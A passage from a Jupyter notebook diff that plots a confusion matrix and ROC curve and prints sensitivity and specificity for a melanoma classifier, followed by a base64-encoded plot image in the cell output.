plt.subplots(figsize=(10,10))\n", + " sns.heatmap(cmn, annot=True, fmt='.2f', \n", + " xticklabels=[f\"pred_{c}\" for c in class_names], \n", + " yticklabels=[f\"true_{c}\" for c in class_names],\n", + " cmap=\"Blues\"\n", + " )\n", + " plt.ylabel('Actual')\n", + " plt.xlabel('Predicted')\n", + " # plot the resulting confusion matrix\n", + " plt.show()\n", + "\n", + "\n", + "def plot_roc_auc(y_true, y_pred):\n", + " \"\"\"\n", + " This function plots the ROC curves and provides the scores.\n", + " \"\"\"\n", + " # prepare for figure\n", + " plt.figure()\n", + " fpr, tpr, _ = roc_curve(y_true, y_pred)\n", + " # obtain ROC AUC\n", + " roc_auc = auc(fpr, tpr)\n", + " # print score\n", + " print(f\"ROC AUC: {roc_auc:.3f}\")\n", + " # plot ROC curve\n", + " plt.plot(fpr, tpr, color=\"blue\", lw=2,\n", + " label='ROC curve (area = {f:.2f})'.format(d=1, f=roc_auc))\n", + " plt.xlim([0.0, 1.0])\n", + " plt.ylim([0.0, 1.05])\n", + " plt.xlabel('False Positive Rate')\n", + " plt.ylabel('True Positive Rate')\n", + " plt.title('ROC curves')\n", + " plt.legend(loc=\"lower right\")\n", + " plt.show()\n", + "\n", + "plot_confusion_matrix(y_test, y_pred)\n", + "plot_roc_auc(y_test, y_pred)\n", + "sensitivity = sensitivity_score(y_test, y_pred)\n", + "specificity = specificity_score(y_test, y_pred)\n", + "\n", + "print(\"Melanoma Sensitivity:\", sensitivity)\n", + "print(\"Melanoma Specificity:\", specificity)" + ] + }, + { + "cell_type": "code", + "execution_count": 16, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 585 + }, + "id": "dlpOzfdSo69B", + "outputId": "b358ecb6-dae9-48a5-9526-97840363c209" + }, + "outputs": [ + { + "data": { + "image/png": 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